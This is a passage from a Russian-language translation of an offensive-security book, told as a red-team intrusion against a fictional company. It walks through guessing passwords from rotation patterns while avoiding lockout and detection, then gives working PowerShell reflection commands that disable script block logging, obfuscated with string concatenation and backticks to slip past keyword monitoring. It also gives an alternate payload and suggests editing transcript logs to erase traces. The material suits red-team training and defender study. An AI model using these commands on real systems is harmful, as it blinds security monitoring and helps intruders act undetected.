Если мы внимательно изучим собранные нами 35 паролей, начинают проявляться некоторые интригующие закономерности:

Совпадение? Верится с трудом. Как правило, компании к своим паролям предъявляют требования, такие как принудительная смена пароля в течение 90 дней, минимальная длина и применение трёх классов символов. Человеческий разум естественным образом сопротивляется этой форме ментального подавления. Это простая физика: на каждое действие есть равное и противоположное противодействие. Человеческая память конечна. Существует лишь столько паролей, сколько можно запомнить. Таким образом, чтобы справиться с вызванным этим маленьким всплывающим окном, мелькающим в углу и указывающим, что "пришло время снова сменить этот пароль" умственным напряжением, люди склонны придумывать предсказуемые мнемонические правила, такие как увеличение числа в конце или в начале, итерация по алфавиту, включая название текущего месяца и тому подобные.

Эта процедура по иронии судьбы нарушает менее известное, но очень важное правило пароля: секретность пересылки. Данный пароль не должен намекать на прочие применяемые тем же пользователем пароли. В рекомендациях Национального института стандартов и технологий (NIST) об этом говорится довольно чётко, однако основные регулирующие органы и системы аудита по-прежнему значительно отстают. Если только Strat Jumbo явно не сообщила о своих подозрениях по поводу взлома сотрудникам и не подчеркнула важность данного сброса пароля, существует большая вероятность того, что некоторые пользователи просто перешли к следующему паролю в своём списке. Учитывая их вялую реакцию — отсутствие блокировки IP- адреса или проверки фишинговой страницы — маловероятно, что команда безопасности провела надлежащую судебно- медицинскую экспертизу. Скорее всего, они увидели пару предупреждений на ATA и QRadar — достаточно, чтобы заподозрить, что происходит что-то странное, — и в качестве превентивной меры решили сбросить все пароли. Так что да, нам понадобится немного удачи, чтобы найти правильные комбинации паролей, но, поскольку у нас уже есть запас паролей, шансы определённо складываются в нашу пользу.

Мы выбираем пять пользователей с очевидными шаблонами их паролей и вручную проверим потенциальную комбинацию для паролей каждому пользователю, например, LeilaClapton11, потом LeilaClapton12. Нет никакой спешки. Мы не хотим запускать какие бы то ни было правила обнаружения, например, слишком много неудачных попыток или попытка применения нескольких учётных записей с одного и того же IP адреса за короткий промежуток времени, дабы не заблокировать учётную запись. Всё что нам требуется для проверки своей гипотезы, это один тщательно рассчитанный пароль каждый день для каждой учётной записи.

Достаточно скоро мы выполняем удачный удар, как это показано на Рисунке 8.1: первоначальным паролем Рона был AkRiV€ra8, а мы получили золото с AkRiV€ra9.

 

Рисунок 8.1

Успешная догадка

То, что кто- то может назвать случайностью или удачным жребием, я называю обоснованным предположением. Мы обязаны были найти хотя бы пару учётных записей, которые придерживались одного и того же шаблона. Люди часто образуют особую связь со своими паролями.

И мы снова в игре! Мы смотрим на профиль Рона в Citrix и обнаруживаем, что он почти пуст. В его личной папке не хранятся никакие связанные с его программной деятельностью документы, а его история Firefox практически пуста, что лишает нас каких-либо полезных зацепок, таких как вики-страницы и сохранённые пароли. Это делает его ещё более захватывающим! Требуется некоторое повышение привилегий!

Прежде чем запускать в этом сервере хотя бы одну команду, чтобы избежать множества расставленных вокруг нас ловушек, благодаря различным представленным Microsoft в WMF 5 (встроенным в Windows 10 и Windows Server 2016) для противодействия взрыва атак на основе сценариев новым методам, нам необходимо разработать рабочую стратегию. Эти методы включают в себя:

Мы уже наблюдали применение режима с Ограничением команд Strat Jumbo, поэтому мы не хотим здесь снова вдаваться в подробности.

Хотя стенографирование по всей системе предлагает аналитикам безопасности полезное воспроизведение команд злоумышленника в компьютере, она редко применяется в режиме реального времени для мониторинга вредоносного обмена. В выходных данных такого файла отсутствует структура - в конце концов, это настоящая стенограмма консоли, - что затрудняет синтаксический анализ для систем мониторинга. На самом деле он применяется в основном для анализа после инцидента за выявлением атаки. По умолчанию файлы расшифровки хранятся в личной папке пользователя, но администраторы могут (и должны) хранить их в отдельном защищённом сетевом ресурсе. Если бы это было так и в случае со Strat Jumbo, у нас не было бы другого выбора, кроме как отыскать этот общий ресурс, получить достаточно привилегий, а затем тайно изменить файлы журнала для удаления нашего следа активности.

Вероятно, Регистрация блоков кода это самая опасная и неизбежная угроза, потому как она напрямую питает постоянно наблюдающий механизм мониторинга QRadar. Простые правила сопоставления строк по очевидным ключевым словам могут снова разоблачить нас, поэтому нам нужно разобраться с этим немедленно. Мы вернёмся к AMSI в Главе 10.

Ведение журналов блоков сценариев доставляется в компьютеры Windows через настроенные в контроллере домена глобальные параметры: параметры объекта Групповой политики (GPO), которые мы обсуждали в Главе 5. При каждом исполнении команды интерпретатором PowerShell ведение журналов блоков сценариев проверяет соответствующий объект Групповой политики в ключе реестра и принимает решение о регистрации этой команды или её игнорировании. Тем не менее, как обычно, дьявол кроется в деталях. Для повышения производительности соответствующая настройка ведения журналов блоков сценариев кэшируется в памяти, в частности, внутри переменной с именем cachedGroupPolicySettings. Эта переменная, или чтобы быть более точным свойство определяется в загружаемом DLL System.Management.Automation внутреннем статическом классе Utils показанном в обратной компиляции на Рисунке 8.2. Для декомпиляции исполняемых файлов .NET вы можете воспользоваться .NET Reflector от Red Gate.

 

Рисунок 8.2

Применение .NET Reflector для обратной компиляции библиотеки DLL и поиска параметра cachedGroup PolicySettings, который управляет ведением журнала блоков сценариев.

Ведение журнала блоков сценариев включено когда cachedGroupPolicySettings установлено в определённое значение. Если оно не определено, ведение журналов блоков сценариев отключено - во всех его смыслах и проявлениях.

Можем ли мы считать это пространство памяти и обойти имеющиеся правила объектно- ориентированного программирования (ООП), которые гласят, что мы не можем получать доступ к закрытым переменным вне их классов? Да, и ещё раз: да! Более того, мы способны перекрыть это поле в памяти чтобы отключить ведение журнала для своего конкретного экземпляра PowerShell. В конце концов, любой загружаемый обычным процессом пользователя код DLL пребывает в пространстве пользователя, а переменные этой DLL обычно находятся в страницах памяти для чтения/ записи. Поэтому мы можем отключать ведение журналов не обладая полномочиями администратора. Чтобы реализовать такой трюк вуду мы полагаемся на функцию, носящую название отражения (reflection).

В исполняемых файлах .NET отражение (reflection) позволяет фрагменту кода считывать код данного исполняемого кода извлекать методы и участников и изменять их во время выполнения. В основном это допустимо по причине того, что исполняемый файл .NET не содержит реального собственного машинного кода. Вместо этого он состоит из промежуточного кода с названием Microsoft Intermediate Language (MSIL, Промежуточного языка Microsoft), который компилятор транслирует из кода верхнего уровня, как правило C#. Во время исполнения код MSIL на лету компилируется в аппаратный код средой Windows Common Language Runtime (CLR, времени исполнения общего языка).

В то время как в обычном исполняемом файле все метаданные (имена функций, переменные, структуры и т. д.) заменяются абстрактными смещениями и сведениями о размере при компиляции, в формате MSIL эти метаданные сохраняются в сборке, что позволяет составить список функции любого заданного двоичного файла, вызывать их, создавать экземпляры объектов и т.д. По существу, это позволяет нам манипулировать внутренними компонентами двоичного файла во время выполнения. Именно это делает возможным отражение.

Традиционно с языке без управления, таком как C++, для доступа к внутренним методам и свойствам класса мы бы пользовались функциями getter и setter (получения и установки). Единственная цель этих функций - после их реализации - позволять программистам мягко нарушать правило границ ООП и получать (при помощи getter) или устанавливать (через setter) конкретные значения внутренних переменных извне своих классов.

Однако отражение автоматически предоставляет нам getter и setter вне зависимости от того предоставляются они классом или нет, поскольку мы способны считывать метаданные сборки и находить тех участников и те свойства, которые мы хотим получить или изменить. Итак, повторяйте за мной: отражение это потрясающе!

В PowerShell для загрузки общедоступного класса .NET, такого как Console, мы просто заключаем его в квадратные скобки и напрямую получаем доступ к его методам. Мы проделаем это в своей лаборатории:

PS C:\Lab> [console]
IsPublic     IsSerial       Name     BaseType
--------     --------       ----     --------
True         False          Console  System.Object

PS C:\Lab> [Console]::WriteLine("static method WriteLine")
static method WriteLine
		

Однако, как мы видели ранее, System.Management.Automation.Utils объявлен как внутренний класс. Это означает что мы не можем непосредственно его вызывать из интерпретатора PowerShell. Тем не менее, благодаря отражению мы имеем возможность динамически загружать тот файл DLL, который его содержит, и принудительно выделять ссылку на его внутренний класс Utils.

На практике PowerShell всегда загружает файл System.Management.Automation.dll и превращает его в доступный через свойство Assembly общедоступного класса System.Management.Automation.PSReference:

PS C:\Lab> [System.Management.Automation.PSReference].Assembly

GAC: True
Version: v4.0.30319
Location: C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
		

Для удобства [System.Management.Automation.PSReference] можно сократить до [ref], а потому в качестве альтернативы просто выполните:

PS C:\Lab> [ref].Assembly
		

Теперь у нас имеется объект, который указывает на необходимую DLL, поэтому мы можем вызвать функцию GetType, которая благодаря отражению выполняет выборку дескриптора для необходимого внутреннего класса Utils. Его мы сохраняем в качестве более удобной переменной $utils:

PS C:\Lab> $utils = [ref].Assembly.GetType('System.Management.Automation.Utils')

PS C:\Lab> $utils
IsPublic     IsSerial       Name     BaseType
--------     --------       ----     --------
False        False          Utils  System.Object
		

Применяя этот дескриптор мы вызываем метод GetField для выборки внутри этого класса поля cachedGroup PolicySettings, снабжая нас контролем теми атрибутами, которые будут запрещены ведением регистрации блоков сценариев. Метод GetField ожидает значения переменной имени и сведения о его типе - по- другому именуемых флагами связывания - таких как Public, NonPublic, Static, Instance и тому подобных. На Рисунке 8.2, после декомпиляции необходимой DLL при помощи .NET Reflector, мы видим что значение свойства cached GroupPolicySettings объявляются как Private и Static, поэтому для его выборки мы пользуемся таким кодом:

PS C:\Lab> $dict = $utils.GetField("cachedGroupPolicySettings","NonPublic,Static")

PS C:\Lab> $dict
Name        : cachedGroupPolicySettings
FieldHandle : System.RuntimeFieldHandle
Attributes  : Private, Static
FieldType   : Collections.Concurrent.ConcurrentDictionary...
--snip--
		

Этот тип поля указывает что, как ожидалось, мы имеем дело со словарём. Мы можем отобразить его значения при помощи метода GetValue. Помните, что подобные GetValue, GetType и GetField функции работают исключительно благодаря отражению на самом первом месте:

PS C:\Lab> $dict.getValue("")

Key : HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Value : {[EnableScriptBlockLogging, 1]}
--snip--
		

Вот оно! Мы можем ясно видеть, что отвратительный EnableScriptBlockLogging установлен в 1, который нам следует заменить на 0 для обмана PowerShell, чтобы он молча отбрасывал все последующие команды, выдаваемые этим конкретным экземпляром PowerShell:

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
PS C:\Lab> $scriptBlockLogging = $dict.getValue("")[$key]
PS C:\Lab> $scriptBlockLogging['EnableScriptBlockLogging'] = 0
		

После выполнения этого сценария в нашей целевой машине нам нет нужды беспокоиться относительно ATA, так как эти команды не вовлечены ни в какое сетевое взаимодействие со своим контроллером домена. С другой стороны, QRadar всё ещё представляет собой реальную угрозу. Эта обходная командная строка выполняется сразу перед отключением ведения журнала блоков сценариев, что означает, что она неминуемо будет зарегистрирована в качестве Warning (предостережения) под событием 4104, как это отображено на Рисунке 8.3:

 

Рисунок 8.3

Обход командной строки регистрируется как Warning в виде события 4104.

Обратите внимание, что в отличие от этого конкретного, все прочие события 4104 просто относились к категории Verbose (подробных). Такое соотнесение к категориям Warning или Verbose происходит в механизме Windows Management Framework (Структуры управления Windows), который является компонентом, выполняющим команды PowerShell. Этот механизм WMF проверяет любые исполняемые команды по перечню подозрительных строк, определённых во внутренних отличительных признаках свойств общедоступного класса ScriptBlock. Такие опасные функции как NonPublic, GetField, Add-Type и многие иные, автоматически помечаются этим механизмом выполнения. QRadar скорее всего ищет в журнале PowerShell все помеченные как Warning события с тем, чтобы они, вероятно, были бы подхвачены командой безопасности когда мы исполним их в сетевой среде Strat Jumbo. Именно это является тем не нужным разоблачением, которого следует избегать в случае, когда оно запускает правило обнаружения.

ScriptBlock объявляется как общедоступный класс, а потому мы можем напрямую ссылаться на него при помощи объекта [ScriptBlock]. Тем не менее, само содержащее перечень подозрительных строк поле signatures является частным, поэтому мы снова прибегаем к отражению при помощи методов GetField и GetValue (Листинг 8.1).

PS C:\> [ScriptBlock].GetField('signatures','NonPublic,Static').GetValue($null)

Add-Type
DllImport
DefineDynamicAssembly
DefineDynamicModule
DefineType
--snip--
 	   

Именно эти ключевые слова используются WMF для маркировки опасных команд. Поскольку он проверяет эти подозрительные слова простым сравнением строк, мы можем обойти это при помощи некоторых хитроумных приёмов, затрудняющих понимание кода. Исследователь безопасности Дэниел Боханнон проделал потрясающую работу по данному конкретному вопросу, создав инструмент Invoke-Obfuscation для автоматизации запутывания строк — поистине устрашающую демонстрацию творчества и тяжёлой работы. Мы позаимствуем некоторые из его методов, представленных в его выступлении на конференции Microsoft по безопасности BlueHat Israel 2017.

Основываясь на полученных нами в Листинге 8.1 перечне запрещённых слов, нам известно что помечаются такие команды нашего обхода ведения регистрации блоков сценариев:

Нам следует замаскировать эти термины, убедившись что они всё ещё применимы. NonPublic и ScriptBlockLogging это просто строки, поэтому для предотвращения их выявления мы можем воспользоваться классическим методом конкатенации. Давайте повторно посетим свои предыдущие команды, которые отключают ведение регистрации блоков сценариев 'NonPublic,Static' превращается в 'No'+'nPublic,Static', а 'EnableScriptBlockLogging' 'EnableScriptBloc'+'kLogging':

PS C:\Lab> $dict = $utils.GetField('cachedGroupPolicySettings', 'No'+'nPublic,Static')

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl"+"ockLogging"

PS C:\Lab> $dict.getValue("")[$key]['EnableScriptBloc'+'kLogging']=0
		

Нам удалось скрыть две строки из трёх, но как быть с методом GetField? Вы будете удивлены гибкостью синтаксиса PowerShell. Мы можем заключать вызов метода в двойные или одинарные кавычки, а он всё равно продолжит отлично работать:

..."GetField"('cachedGroupPolicySettings', 'No'+'nPublic,Static')
 	   

О, вы только посмотрите на это! Теперь GetField выглядит строкой, а потому мы можем снова воспользоваться методом классической конкатенации с применением дополнительных скобок, добавляемых для уверенности в том, что необходимая конкатенация произойдёт первой:

...("Ge"+"tField")('cachedGroupPolicySettings', 'No'+'nPublic,Static')
 	   

А теперь великое завершение, вишенка поверх этого удивительного запутывания - внутри строк мы можем добавлять штрихи ` и они будут игнорироваться, а это означает, что наша команда по- прежнему будет выполняться нормально. Единственное ограничение состоит в том, что вам нельзя применять такой штрих перед символами 0, a, b, f, n, r, t или v, иначе они будут интерпретироваться, соответственно, как null, alert, backspace, form feed, newline, carriage return, horizontal tab и vertical tab. В нашем случае мы добавляем штрих перед буквой “i” в GetField:

...("Ge"+"tF`ield")('cachedGroupPolicySettings', 'No'+'nPublic,Static')
 	   

Только что упомянутые специальные символы чувствительны к регистру, а потому ничто не мешает нам помещать штрих перед заглавной буквой F, например:

...("Ge"+"t`F`ield")('cachedGroupPolicySettings', 'No'+'nPublic,Static')
 	   

Наш окончательный код ведения журнала блокирования сценариев теперь выглядит следующим образом:

PS C:\Lab> $utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
PS C:\Lab> $dict = $utils.("Ge"+"t`F`ield")('cachedGroupPolicySettings', 'NonP'+'ublic,Static')

PS C:\Lab> $key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl"+"ockLogging"

PS C:\Lab> $dict.getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0
		

Когда мы исполняем эти команды в своей лаборатории проверок, они все, как и ожидалось, регистрируются, но все они относятся к категории Verbose вместо того, чтобы помечаться как полноценное Warning (Рисунок 8.4) и, таким образом, тонут среди тысяч прочих бессмысленных сообщений Verbose. Более того, применённые нами методы затруднения анализа, скорее всего, позволят обойти любой выполняемый QRadar мониторинг ключевых слов.

 

Рисунок 8.4

Методы запутывания обходят мониторинг ключевых слов и наша атака вливается в море подробных журналов

Все последующие выполняемые нами в том же самом окне PowerShell больше не будут регистрироваться. Всякий новый применяющий Invoke-Command, Start-Job и аналогичные им команды должен содержать такой обход.

ПРИМЕЧАНИЯ ПО РЕГИСТРАЦИИ БЛОКОВ СЦЕНАРИЕВ

В некоторых машинах Windows ключ словаря EnableScriptBlockLogging не обнаруживается в cachedGroupPolicySettings даже хотя ведение журнала блоков сценариев включено, тем самым превращая приводимый в этой главе обходной путь в бесполезный. Чтобы заставить Windows отключать ведение журнала в любом случае, нам следует создать отсутствующий ключ, а затем присвоить ему, как обычно, значение 0. В таком случае альтернативная полезная нагрузка становится такой: $GPF = [ref].Assembly.GetType('System.Management.Automation.Utils'). "GetF`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static') $GPS = $GPF.GetValue($null) # Создаём новый объект словаря $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() # Наполняем свой словарь $val.Add('EnableScriptB'+'lockLogging', 0) $val.Add('EnableScriptB'+'lockInvocationLogging', 0) $GPS['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val

Наконец, у нас имеется одна гигантская проблема. Большой Брат больше не следит за каждой вводимой нами в командной строке PowerShell командой. В этой машине мы способны выполнить почти все, что пожелаем. Но что именно? Нам требуется выяснить куда направить свою энергию дальше. Мы уже искали хранящиеся локально потенциальные пароли и документы, но присели со своими усилиями. Где-то в сетевых ресурсах должны быть пароли. Чёрт, в сети наверняка имеются даже уязвимые для всевозможных эксплойтов вроде MS17-010 старые машины с Windows 2008, но мы не можем просто,как наивные хакеры, которыми мы когда-то были, идти в погоню за ними.

Мы испили из источника истины, а он имеет горький привкус. Мы знаем, что над нашими головами висит дамоклов меч в виде ATA и QRadar. Один странный пакет или непоследовательное поведение в сетевой среде, - и нас снова выкинут - возможно, теперь навсегда.

Вместо того чтобы искать способы повышения своих привилегий, давайте направим свои усилия обратно на свою изначальную цель: добраться до кода Strat Accounting.